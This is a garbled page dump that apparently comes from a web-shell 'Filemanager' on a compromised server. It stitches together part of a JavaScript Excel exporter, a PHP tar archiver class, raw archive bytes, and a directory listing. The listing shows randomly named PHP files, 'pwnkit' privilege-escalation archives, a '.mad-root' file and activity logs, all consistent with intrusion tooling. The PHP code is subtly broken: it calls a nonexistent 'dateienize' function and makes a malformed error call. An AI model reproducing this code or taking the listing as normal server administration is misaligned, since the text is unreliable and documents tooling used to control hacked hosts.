    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

    format = function(s, c) {

            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];

            })

        }

    return function(table, name) {
        
        if (!table.nodeType) table = document.getElementById(table)
          
        var ctx = {
            
            worksheet: name || 'Worksheet',

            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
        
	  	  t = new Date();
        
	  	  filename = 'fm_' + t.toISOString() + '.xls'

	  	  download_xls(filename, base64_encode(format(template, ctx)))

    }

})();

          
var table2Excel = function () {


    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");



	  this.CreateExcelSheet = 

	  	  function(el, name){
           
	  	  	  if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer



	  	  	  	  var x = document.getElementById(el).rows;



	  	  	  	  var xls = new ActiveXObject("Excel.Application");



	  	  	  	  xls.visible = true;

	  	  	  	  xls.Workbooks.Add
	  	  	  	  for (i = 0; i < x.length; i++) {

	  	  	  	  	  var y = x[i].cells;


	  	  	  	  	  for (j = 0; j < y.length; j++) {
           
	  	  	  	  	  	  xls.Cells(i + 1, j + 1).Value = y[j].innerText;
          
	  	  	  	  	  }

	  	  	  	  }
	  	  	  	  xls.Visible = true;
	  	  	  	  xls.UserControl = true;

	  	  	  	  return xls;
	  	  	  } else {
       
	  	  	  	  tableToExcelData(el, name);
	  	  	  }
	  	  }

}

</script>

</body>
</html>

       
<?php
//Ported from ReloadCMS project http://reloadcms.com
         
class archiveTar {
	  var $archiv_name = '';
	  var $temporare_datei = 0;

	  var $datei_position = 0;

	  var $ist_gzip = true;

	  var $fehler = array();

	  var $dateien = array();
        
	  
        
	  function __construct(){

	  	  if (!isset($this->fehler)) $this->fehler = array();

	  }

	  
            
	  function archiv_erstellen($file_list){

	  	  $result = false;
          
	  	  if (file_exists($this->archiv_name) && is_file($this->archiv_name)) 	  $newArchive = false;
         
	  	  else $newArchive = true;

	  	  if ($newArchive){
	  	  	  if (!$this->schreiben_offnen()) return false;

	  	  } else {
	  	  	  if (dateienize($this->archiv_name) == 0)	  return $this->schreiben_offnen();
           
	  	  	  if ($this->ist_gzip) {

	  	  	  	  $this->temp_datei_schliessen();
	  	  	  	  if (!rename($this->archiv_name, $this->archiv_name.'.tmp')){

	  	  	  	  	  $this->fehler[] = __('Cannot rename').' '.$this->archiv_name.__(' to ').$this->archiv_name.'.tmp';

	  	  	  	  	  return false;

	  	  	  	  }

	  	  	  	  $tmpArchive = gzopen($this->archiv_name.'.tmp', 'rb');

	  	  	  	  if (!$tmpArchive){
	  	  	  	  	  $this->fehler[] = $this->archiv_name.'.tmp '.__('is not readable');

	  	  	  	  	  rename($this->archiv_name.'.tmp', $this->archiv_name);

	  	  	  	  	  return false;
	  	  	  	  }

	  	  	  	  if (!$this->schreiben_offnen()){
          
	  	  	  	  	  rename($this->archiv_name.'.tmp', $this->archiv_name);

	  	  	  	  	  return false;

	  	  	  	  }

	  	  	  	  $buffer = gzread($tmpArchive, 512);
       
	  	  	  	  if (!gzeof($tmpArchive)){

	  	  	  	  	  do {
           
	  	  	  	  	  	  $binaryData = pack('a512', $buffer);
	  	  	  	  	  	  $this->block_schreiben($binaryData);
       
	  	  	  	  	  	  $buffer = gzread($tmpArchive, 512);

	  	  	  	  	  }
	  	  	  	  	  while (!gzeof($tmpArchive));

	  	  	  	  }
	  	  	  	  gzclose($tmpArchive);
	  	  	  	  unlink($this->archiv_name.'.tmp');

	  	  	  } else {
	  	  	  	  $this->temporare_datei = fopen($this->archiv_name, 'r+b');

	  	  	  	  if (!$this->temporare_datei)	  return false;
	  	  	  }

	  	  }

	  	  if (isset($file_list) && is_array($file_list)) {
        
	  	  if (count($file_list)>0)

	  	  	  $result = $this->dateien_packen($file_list);

	  	  } else $this->fehler[] = __('No file').__(' to ').__('Archive');
	  	  if (($result)&&(is_resource($this->temporare_datei))){
           
	  	  	  $binaryData = pack('a512', '');
            
	  	  	  $this->block_schreiben($binaryData);

	  	  }
        
	  	  $this->temp_datei_schliessen();

	  	  if ($newArchive && !$result){
       
	  	  $this->temp_datei_schliessen();

	  	  unlink($this->archiv_name);
          
	  	  }
	  	  return $result;

	  }


            
	  function archiv_wiederherstellen($path_share){

	  	  $fileName = $this->archiv_name;
        
	  	  if (!$this->ist_gzip){

	  	  	  if (file_exists($fileName)){

	  	  	  	  if ($fp = fopen($fileName, 'rb')){
       
	  	  	  	  	  $data = fread($fp, 2);
          
	  	  	  	  	  fclose($fp);
            
	  	  	  	  	  if ($data == '\37\213'){

	  	  	  	  	  	  $this->ist_gzip = true;

	  	  	  	  	  }
          
	  	  	  	  }
       
	  	  	  }
        
	  	  	  elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->ist_gzip = true;
         
	  	  } 
           
	  	  $result = true;
	  	  if ($this->ist_gzip) $this->temporare_datei = gzopen($fileName, 'rb');

	  	  else $this->temporare_datei = fopen($fileName, 'rb');
	  	  if (!$this->temporare_datei){

	  	  	  $this->fehler[] = $fileName.' '.__('is not readable');
           
	  	  	  return false;

	  	  }
	  	  $result = $this->undateien_packen($path_share);
	  	  	  $this->temp_datei_schliessen();

	  	  return $result;
         
	  }


	  function fehler_anzeigen	  ($message = '') {

	  	  $Errors = $this->fehler;
	  	  if(count($Errors)>0) {

	  	  if (!empty($message)) $message = ' ('.$message.')';
        
	  	  	  $message = __('Error occurred').$message.': <br/>';

	  	  	  foreach ($Errors as $value)

	  	  	  	  $message .= $value.'<br/>';

	  	  	  return $message;	  
       
	  	  } else return '';
	  	  
          
	  }
	  

	  function dateien_packen($file_array){
        
	  	  $result = true;
	  	  if (!$this->temporare_datei){
         
	  	  	  $this->fehler[] = __('Invalid file descriptor');

	  	  	  return false;
            
	  	  }

	  	  if (!is_array($file_array) || count($file_array)<=0)
         
          return true;
         
	  	  for ($i = 0; $i<count($file_array); $i++){
	  	  	  $filename = $file_array[$i];

	  	  	  if ($filename == $this->archiv_name)

	  	  	  	  continue;
            
	  	  	  if (strlen($filename)<=0)

	  	  	  	  continue;
	  	  	  if (!file_exists($filename)){

	  	  	  	  $this->fehler[] = __('No file').' '.$filename;
        
	  	  	  	  continue;
	  	  	  }
            
	  	  	  if (!$this->temporare_datei){
	  	  	  $this->fehler[] = __('Invalid file descriptor');
	  	  	  return false;

	  	  	  }
	  	  if (strlen($filename)<=0){

	  	  	  $this->fehler[] = __('Filename').' '.__('is incorrect');;
	  	  	  return false;

	  	  }

	  	  $filename = str_replace('\\', '/', $filename);

	  	  $keep_filename = $this->pfad_korrigieren($filename);

	  	  if (is_file($filename)){
	  	  	  if (($file = fopen($filename, 'rb')) == 0){

	  	  	  	  $this->fehler[] = __('Mode ').__('is incorrect');
	  	  	  }
	  	  	  	  if(($this->datei_position == 0)){

	  	  	  	  	  if(!$this->kopfzeile_schreiben($filename, $keep_filename))
	  	  	  	  	  	  return false;
	  	  	  	  }

	  	  	  	  while (($buffer = fread($file, 512)) != ''){

	  	  	  	  	  $binaryData = pack('a512', $buffer);

	  	  	  	  	  $this->block_schreiben($binaryData);
	  	  	  	  }
	  	  	  fclose($file);

	  	  }	  else $this->kopfzeile_schreiben($filename, $keep_filename);
       
	  	  	  if (@is_dir($filename)){
       
	  	  	  	  if (!($handle = opendir($filename))){

	  	  	  	  	  $this->fehler[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

	  	  	  	  	  continue;
	  	  	  	  }

	  	  	  	  while (false !== ($dir = readdir($handle))){
	  	  	  	  	  if ($dir!='.' && $dir!='..'){
	  	  	  	  	  	  $file_array_tmp = array();

	  	  	  	  	  	  if ($filename != '.')
	  	  	  	  	  	  	  $file_array_tmp[] = $filename.'/'.$dir;
	  	  	  	  	  	  else

	  	  	  	  	  	  	  $file_array_tmp[] = $dir;


           
	  	  	  	  	  	  $result = $this->dateien_packen($file_array_tmp);
            
	  	  	  	  	  }

	  	  	  	  }

	  	  	  	  unset($file_array_tmp);
       
	  	  	  	  unset($dir);
	  	  	  	  unset($handle);

	  	  	  }

	  	  }

	  	  return $result;

	  }
           

	  function undateien_packen($path_share){ 

	  	  $path_share = str_replace('\\', '/', $path_share);
	  	  if ($path_share == ''	  || (substr($path_share, 0, 1) != '/' && substr($path_share, 0, 3) != '../' && !strpos($path_share, ':')))	  $path_share = './'.$path_share;
            
	  	  clearstatcache();
           
	  	  while (strlen($binaryData = $this->block_lesen()) != 0){

	  	  	  if (!$this->kopfzeile_lesen($binaryData, $header)) return false;
	  	  	  if ($header['filename'] == '') continue;
            
	  	  	  if ($header['typeflag'] == 'L'){	  	  	  //reading long header

	  	  	  	  $filename = '';
         
	  	  	  	  $decr = floor($header['size']/512);

	  	  	  	  for ($i = 0; $i < $decr; $i++){

	  	  	  	  	  $content = $this->block_lesen();

	  	  	  	  	  $filename .= $content;
	  	  	  	  }

	  	  	  	  if (($laspiece = $header['size'] % 512) != 0){

	  	  	  	  	  $content = $this->block_lesen();
           
	  	  	  	  	  $filename .= substr($content, 0, $laspiece);
         
	  	  	  	  }

	  	  	  	  $binaryData = $this->block_lesen();

	  	  	  	  if (!$this->kopfzeile_lesen($binaryData, $header)) return false;

	  	  	  	  else $header['filename'] = $filename;

	  	  	  	  return true;

	  	  	  }

	  	  	  if (($path_share != './') && ($path_share != '/')){
       
	  	  	  	  while (substr($path_share, -1) == '/') $path_share = substr($path_share, 0, strlen($path_share)-1);

	  	  	  	  if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path_share.$header['filename'];

	  	  	  	  else $header['filename'] = $path_share.'/'.$header['filename'];
	  	  	  }

	  	  	  
	  	  	  if (file_exists($header['filename'])){

	  	  	  	  if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

	  	  	  	  	  $this->fehler[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

	  	  	  	  	  return false;
       
	  	  	  	  }

	  	  	  	  if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

	  	  	  	  	  $this->fehler[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
	  	  	  	  	  return false;

	  	  	  	  }
	  	  	  	  if (!is_writeable($header['filename'])){
	  	  	  	  	  $this->fehler[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
        
	  	  	  	  	  return false;

	  	  	  	  }
	  	  	  } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
           
	  	  	  	  $this->fehler[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
           
	  	  	  	  return false;
	  	  	  }



	  	  	  if ($header['typeflag'] == '5'){

	  	  	  	  if (!file_exists($header['filename']))	  	  {
        
	  	  	  	  	  if (!mkdir($header['filename'], 0777))	  {

	  	  	  	  	  	  
         
	  	  	  	  	  	  $this->fehler[] = __('Cannot create directory').' '.$header['filename'];
	  	  	  	  	  	  return false;
	  	  	  	  	  } 

	  	  	  	  }

	  	  	  } else {
          
	  	  	  	  if (($destination = fopen($header['filename'], 'wb')) == 0) {
         
	  	  	  	  	  $this->fehler[] = __('Cannot write to file').' '.$header['filename'];
	  	  	  	  	  return false;
         
	  	  	  	  } else {

	  	  	  	  	  $decr = floor($header['size']/512);

	  	  	  	  	  for ($i = 0; $i < $decr; $i++) {

	  	  	  	  	  	  $content = $this->block_lesen();
        
	  	  	  	  	  	  fwrite($destination, $content, 512);

	  	  	  	  	  }
          
	  	  	  	  	  if (($header['size'] % 512) != 0) {
       
	  	  	  	  	  	  $content = $this->block_lesen();

	  	  	  	  	  	  fwrite($destination, $content, ($header['size'] % 512));
	  	  	  	  	  }
	  	  	  	  	  fclose($destination);

	  	  	  	  	  touch($header['filename'], $header['time']);

	  	  	  	  }
	  	  	  	  clearstatcache();
	  	  	  	  if (dateienize($header['filename']) != $header['size']) {

	  	  	  	  	  $this->fehler[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');

	  	  	  	  	  return false;
	  	  	  	  }
          
	  	  	  }

	  	  	  if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';

	  	  	  if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';

	  	  	  $this->dirs[] = $file_dir;

	  	  	  $this->dateien[] = $header['filename'];

	  
	  	  }
	  	  return true;

	  }


          
	  function dirCheck($dir){
       
	  	  $parent_dir = dirname($dir);


            
	  	  if ((@is_dir($dir)) or ($dir == ''))

	  	  	  return true;


	  	  if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
          
	  	  	  return false;
            


	  	  if (!mkdir($dir, 0777)){

	  	  	  $this->fehler[] = __('Cannot create directory').' '.$dir;

	  	  	  return false;
       
	  	  }

	  	  return true;
	  }
          

	  function kopfzeile_lesen($binaryData, &$header){

	  	  if (strlen($binaryData)==0){
	  	  	  $header['filename'] = '';
         
	  	  	  return true;
         
	  	  }
        

          
	  	  if (strlen($binaryData) != 512){
	  	  	  $header['filename'] = '';
         
	  	  	  $this->__('Invalid block size').': '.strlen($binaryData);
       
	  	  	  return false;

	  	  }


	  	  $prufsumme = 0;

	  	  for ($i = 0; $i < 148; $i++) $prufsumme+=ord(substr($binaryData, $i, 1));

	  	  for ($i = 148; $i < 156; $i++) $prufsumme += ord(' ');
	  	  for ($i = 156; $i < 512; $i++) $prufsumme+=ord(substr($binaryData, $i, 1));
            


	  	  $unpack_data = unpack('a100filename/a8mode/a8benutzer_id/a8group_id/a12size/a12time/a8prufsumme/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


          
	  	  $header['prufsumme'] = OctDec(trim($unpack_data['prufsumme']));
         
	  	  if ($header['prufsumme'] != $prufsumme){

	  	  	  $header['filename'] = '';
          
	  	  	  if (($prufsumme == 256) && ($header['prufsumme'] == 0)) 	  return true;

	  	  	  $this->fehler[] = __('Error prufsumme for file ').$unpack_data['filename'];
            
	  	  	  return false;
	  	  }



	  	  if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	  $header['size'] = 0;

	  	  $header['filename'] = trim($unpack_data['filename']);

	  	  $header['mode'] = OctDec(trim($unpack_data['mode']));
           
	  	  $header['benutzer_id'] = OctDec(trim($unpack_data['benutzer_id']));
        
	  	  $header['group_id'] = OctDec(trim($unpack_data['group_id']));
	  	  $header['size'] = OctDec(trim($unpack_data['size']));

	  	  $header['time'] = OctDec(trim($unpack_data['time']));

	  	  return true;

	  }
           

	  function kopfzeile_schreiben($filename, $keep_filename){
	  	  $packF = 'a100a8a8a8a12A12';
           
	  	  $packL = 'a1a100a6a2a32a32a8a8a155a12';
            
	  	  if (strlen($keep_filename)<=0) $keep_filename = $filename;
	  	  $filename_ready = $this->pfad_korrigieren($keep_filename);

          
	  	  if (strlen($filename_ready) > 99){	  	  	  	  	  	  	  //write long header

	  	  $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

	  	  $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');



        //  Calculate the prufsumme

	  	  $prufsumme = 0;
        
        //  First part of the header

	  	  for ($i = 0; $i < 148; $i++)
	  	  	  $prufsumme += ord(substr($dataFirst, $i, 1));

        //  Ignore the prufsumme value and replace it by ' ' (space)
            
	  	  for ($i = 148; $i < 156; $i++)
       
	  	  	  $prufsumme += ord(' ');
        //  Last part of the header

	  	  for ($i = 156, $j=0; $i < 512; $i++, $j++)
       
	  	  	  $prufsumme += ord(substr($dataLast, $j, 1));

        //  Write the first 148 bytes of the header in the archive

	  	  $this->block_schreiben($dataFirst, 148);

        //  Write the calculated prufsumme
        
	  	  $prufsumme = sprintf('%6s ', DecOct($prufsumme));
	  	  $binaryData = pack('a8', $prufsumme);
	  	  $this->block_schreiben($binaryData, 8);
            
        //  Write the last 356 bytes of the header in the archive
	  	  $this->block_schreiben($dataLast, 356);


	  	  $temporare_dateiname = $this->pfad_korrigieren($filename_ready);



	  	  $i = 0;
        
	  	  	  while (($buffer = substr($temporare_dateiname, (($i++)*512), 512)) != ''){

	  	  	  	  $binaryData = pack('a512', $buffer);

	  	  	  	  $this->block_schreiben($binaryData);
	  	  	  }

	  	  return true;
            
	  	  }

	  	  $file_info = stat($filename);
         
	  	  if (@is_dir($filename)){
	  	  	  $typeflag = '5';
	  	  	  $size = sprintf('%11s ', DecOct(0));
	  	  } else {
          
	  	  	  $typeflag = '';

	  	  	  clearstatcache();
           
	  	  	  $size = sprintf('%11s ', DecOct(dateienize($filename)));
	  	  }
	  	  $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

	  	  $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
	  	  $prufsumme = 0;

	  	  for ($i = 0; $i < 148; $i++) $prufsumme += ord(substr($dataFirst, $i, 1));
	  	  for ($i = 148; $i < 156; $i++) $prufsumme += ord(' ');

	  	  for ($i = 156, $j = 0; $i < 512; $i++, $j++) $prufsumme += ord(substr($dataLast, $j, 1));

	  	  $this->block_schreiben($dataFirst, 148);
       
	  	  $prufsumme = sprintf('%6s ', DecOct($prufsumme));
	  	  $binaryData = pack('a8', $prufsumme);

	  	  $this->block_schreiben($binaryData, 8);

	  	  $this->block_schreiben($dataLast, 356);
	  	  return true;

	  }

	  function schreiben_offnen(){

	  	  if ($this->ist_gzip)
	  	  	  $this->temporare_datei = gzopen($this->archiv_name, 'wb9f');
	  	  else

	  	  	  $this->temporare_datei = fopen($this->archiv_name, 'wb');
       


	  	  if (!($this->temporare_datei)){

	  	  	  $this->fehler[] = __('Cannot write to file').' '.$this->archiv_name;
            
	  	  	  return false;
       
	  	  }
           
	  	  return true;

	  }


	  function block_lesen(){

	  	  if (is_resource($this->temporare_datei)){

	  	  	  if ($this->ist_gzip)

	  	  	  	  $block = gzread($this->temporare_datei, 512);

	  	  	  else

	  	  	  	  $block = fread($this->temporare_datei, 512);

	  	  } else	  $block = '';


	  	  return $block;
	  }
        


	  function block_schreiben($data, $length = 0){
       
	  	  if (is_resource($this->temporare_datei)){
	  	  
       
	  	  	  if ($length === 0){

	  	  	  	  if ($this->ist_gzip)
           
	  	  	  	  	  gzputs($this->temporare_datei, $data);

	  	  	  	  else
	  	  	  	  	  fputs($this->temporare_datei, $data);
            
	  	  	  } else {

	  	  	  	  if ($this->ist_gzip)
       
	  	  	  	  	  gzputs($this->temporare_datei, $data, $length);
	  	  	  	  else

	  	  	  	  	  fputs($this->temporare_datei, $data, $length);

	  	  	  }

	  	  }

	  }


	  function temp_datei_schliessen(){

	  	  if (is_resource($this->temporare_datei)){

	  	  	  if ($this->ist_gzip)
            
	  	  	  	  gzclose($this->temporare_datei);

	  	  	  else

	  	  	  	  fclose($this->temporare_datei);


	  	  	  $this->temporare_datei = 0;

	  	  }

	  }


	  function pfad_korrigieren($path_share){

	  	  if (strlen($path_share)>0){

	  	  	  $path_share = str_replace('\\', '/', $path_share);
	  	  	  $partPath = explode('/', $path_share);

	  	  	  $els = count($partPath)-1;

	  	  	  for ($i = $els; $i>=0; $i--){
	  	  	  	  if ($partPath[$i] == '.'){
                    //  Ignore this directory

                } elseif ($partPath[$i] == '..'){

                    $i--;

                }
	  	  	  	  elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                }	  else
            
	  	  	  	  	  $result = $partPath[$i].($i!=$els ? '/'.$result : '');

	  	  	  }
            
	  	  } else $result = '';
	  	  
	  	  return $result;

	  }
}
?>
PK!�Jnnxd2usa/3rv84.php.php.tar.gznu�[���PK!��Y�w�w`nxd2usa/3rv84.phpnu�[���PK�M�

Filemanager

Name Type Size Permission Actions
.mad-root.mad-root.tar.gz File 109 B 0644
.mad-root.tar File 1.5 KB 0644
100.tar File 278 KB 0644
100.tar.gz File 272.2 KB 0644
100.zip File 276.54 KB 0644
101.zip File 278.16 KB 0644
103.zip File 16.11 KB 0644
105.zip File 93.15 KB 0644
106.zip File 638.26 KB 0644
108.zip File 397.67 KB 0644
109.zip File 16.11 KB 0644
110.zip File 16.11 KB 0644
111.zip File 521.13 KB 0644
113.zip File 377.74 KB 0644
115.zip File 44.65 MB 0644
116.tar File 17.5 KB 0644
116.tar.gz File 12.97 KB 0644
116.zip File 16.11 KB 0644
12.zip File 1.77 MB 0644
121.zip File 272.58 KB 0644
122.zip File 255.11 KB 0644
123.zip File 16.11 KB 0644
128.zip File 192.81 KB 0644
13.zip File 1.05 MB 0644
131.zip File 32.71 KB 0644
134.zip File 16.11 KB 0644
14.zip File 684.54 KB 0644
140.tar File 231 KB 0644
140.tar.gz File 86.13 KB 0644
140.zip File 227.34 KB 0644
142.zip File 244.18 KB 0644
143.zip File 172.83 KB 0644
145.zip File 239.39 KB 0644
146.zip File 424.49 KB 0644
147.zip File 121.76 KB 0644
149.zip File 48.8 KB 0644
15.zip File 558.21 KB 0644
150.zip File 416.94 KB 0644
151.zip File 126.44 KB 0644
152.zip File 91.93 KB 0644
154.zip File 546.85 KB 0644
155.zip File 527.43 KB 0644
156.tar File 678.5 KB 0644
156.tar.gz File 669.42 KB 0644
156.zip File 676.47 KB 0644
157.zip File 644.4 MB 0644
16.zip File 663.43 KB 0644
162.zip File 78.87 KB 0644
18.tar File 3 KB 0644
18.tar.gz File 1.53 KB 0644
18.zip File 1.55 KB 0644
181.tar File 34 KB 0644
181.tar.gz File 20.45 KB 0644
181.zip File 32.71 KB 0644
182.zip File 32.71 KB 0644
183.zip File 128.45 KB 0644
184.zip File 33.25 KB 0644
185.zip File 440.58 KB 0644
189.zip File 358.99 KB 0644
190.zip File 356.18 KB 0644
191.zip File 768.46 KB 0644
193.zip File 131.58 KB 0644
197.zip File 61.67 KB 0644
199.zip File 103.42 KB 0644
20.tar File 6 KB 0644
20.tar.gz File 1.36 KB 0644
20.zip File 3.85 KB 0644
200.zip File 218.21 KB 0644
202.zip File 1.15 MB 0644
207.zip File 1.24 MB 0644
209.zip File 1.23 MB 0644
21.zip File 272 B 0644
211.zip File 56.05 KB 0644
218.zip File 387 B 0644
219.zip File 775.48 KB 0644
224.zip File 142.65 KB 0644
227.zip File 76.98 KB 0644
228.zip File 526.67 KB 0644
23.zip File 61.7 KB 0644
231.zip File 757.82 KB 0644
232.zip File 101.42 KB 0644
237.zip File 73.25 KB 0644
239.zip File 167.79 KB 0644
24.zip File 1.75 KB 0644
240.tar File 98.5 KB 0644
240.tar.gz File 93.23 KB 0644
245.zip File 641.6 KB 0644
247.zip File 451.64 KB 0644
251.zip File 638.54 KB 0644
253.zip File 75.85 KB 0644
255.zip File 110.39 KB 0644
256.tar File 252.5 KB 0644
256.tar.gz File 216.95 KB 0644
256.zip File 250.87 KB 0644
257.zip File 209.12 KB 0644
280.zip File 215.64 KB 0644
281.tar File 42.5 KB 0644
281.tar.gz File 39.09 KB 0644
281.zip File 41.2 KB 0644
285.zip File 277.33 KB 0644
286.zip File 1.22 MB 0644
295.zip File 278.37 KB 0644
300.tar File 546.5 KB 0644
300.tar.gz File 325.93 KB 0644
302.zip File 550.84 KB 0644
303.zip File 283.84 KB 0644
304.zip File 279.32 KB 0644
306.zip File 124.43 KB 0644
307.zip File 79.08 KB 0644
31.zip File 161.23 KB 0644
314.zip File 101.77 KB 0644
319.zip File 48.6 KB 0644
32.zip File 270 B 0644
320.zip File 104.23 KB 0644
321.zip File 78.69 KB 0644
322.zip File 74.19 KB 0644
324.zip File 74.69 KB 0644
329.zip File 74.21 KB 0644
33.zip File 19.55 KB 0644
332.zip File 84.19 KB 0644
342.zip File 102.88 KB 0644
343.zip File 87.98 KB 0644
35.zip File 272 B 0644
352.zip File 688.32 KB 0644
356.zip File 96.18 KB 0644
357.zip File 103.16 KB 0644
36.zip File 216.17 KB 0644
363.zip File 149.72 KB 0644
38.tar File 280 KB 0644
38.tar.gz File 272.41 KB 0644
38.zip File 277.04 KB 0644
39.zip File 270 B 0644
40.tar File 278 KB 0644
40.tar.gz File 272.12 KB 0644
40.zip File 276.46 KB 0644
41.tar File 117 KB 0644
41.tar.gz File 105.7 KB 0644
41.zip File 115.65 KB 0644
42.zip File 377.32 KB 0644
43.zip File 185.83 KB 0644
44.tar File 380.5 KB 0644
44.tar.gz File 373.6 KB 0644
44.zip File 378.81 KB 0644
45.zip File 290.69 KB 0644
47.zip File 287.76 KB 0644
48.zip File 1.21 MB 0644
49.zip File 271.26 KB 0644
50.tar File 249 KB 0644
50.tar.gz File 179.96 KB 0644
50.zip File 246.16 KB 0644
51.zip File 605.34 KB 0644
52.zip File 304.62 KB 0644
53.zip File 570.94 KB 0644
54.zip File 140.2 KB 0644
55.zip File 52.46 KB 0644
56.zip File 52.31 KB 0644
58.tar File 169 KB 0644
58.tar.gz File 161.92 KB 0644
58.zip File 166.59 KB 0644
59.zip File 408.18 KB 0644
60.zip File 67.55 KB 0644
61.tar File 576.5 KB 0644
61.tar.gz File 556.56 KB 0644
61.zip File 575.18 KB 0644
65.zip File 638.78 KB 0644
68.zip File 578.42 KB 0644
69.tar File 102.5 KB 0644
69.tar.gz File 75.95 KB 0644
70.tar File 467.5 KB 0644
70.tar.gz File 399.08 KB 0644
70.zip File 464.96 KB 0644
71.zip File 64.08 KB 0644
73.zip File 32.71 KB 0644
74.tar File 34 KB 0644
74.tar.gz File 20.44 KB 0644
74.zip File 32.71 KB 0644
75.zip File 274.87 KB 0644
76.zip File 503.39 KB 0644
77.zip File 104.25 KB 0644
78.tar File 106 KB 0644
78.tar.gz File 95.03 KB 0644
78.zip File 103.95 KB 0644
79.zip File 1007.88 KB 0644
80.tar File 112 KB 0644
80.tar.gz File 105.07 KB 0644
80.zip File 110.35 KB 0644
81.zip File 162.98 KB 0644
82.zip File 186.72 KB 0644
83.zip File 76.13 KB 0644
85.zip File 1.03 MB 0644
86.zip File 447.23 KB 0644
87.zip File 20.08 MB 0644
88.tar File 29.5 KB 0644
88.tar.gz File 22.81 KB 0644
88.zip File 27.84 KB 0644
89.zip File 27.84 KB 0644
8y7zhr.zip File 77.62 KB 0644
90.zip File 48.4 KB 0644
91.tar File 48 KB 0644
91.tar.gz File 42.5 KB 0644
91.zip File 45.83 KB 0644
94.tar File 100.5 KB 0644
94.tar.gz File 89.41 KB 0644
94.zip File 98.45 KB 0644
95.zip File 497.83 KB 0644
96.zip File 99.1 KB 0644
97.zip File 439.12 KB 0644
98.tar File 1.19 MB 0644
98.tar.gz File 344.9 KB 0644
98.zip File 1.19 MB 0644
99.zip File 277.01 KB 0644
ay4o2.php File 76.92 KB 0644
ay4o2.php.php.tar.gz File 24.2 KB 0644
ay4o2.php.tar File 78.5 KB 0644
fkqgm2.tar File 72.5 KB 0644
fkqgm2.tar.gz File 50.88 KB 0644
net.zip File 140 B 0644
pwnkit.tar File 12.5 KB 0644
pwnkit.tar.gz File 3.89 KB 0644
samurai_activity.log.log.tar.gz File 294 B 0644
samurai_activity.log.tar File 2 KB 0644
shablon-akta-sverki-1-1.docx.docx.tar.gz File 22.85 KB 0644
shablon-akta-sverki-1-1.docx.tar File 58 KB 0644
syxorh.tar File 76 KB 0644
syxorh.tar.gz File 19.66 KB 0644
temp.zip File 5.03 MB 0644
w2hfdj.tar File 182.5 KB 0644
w2hfdj.tar.gz File 76.36 KB 0644
Счет-МСР24-(1).pdf.pdf.tar.gz File 270.97 KB 0644
Счет-МСР24-(1).pdf.tar File 292 KB 0644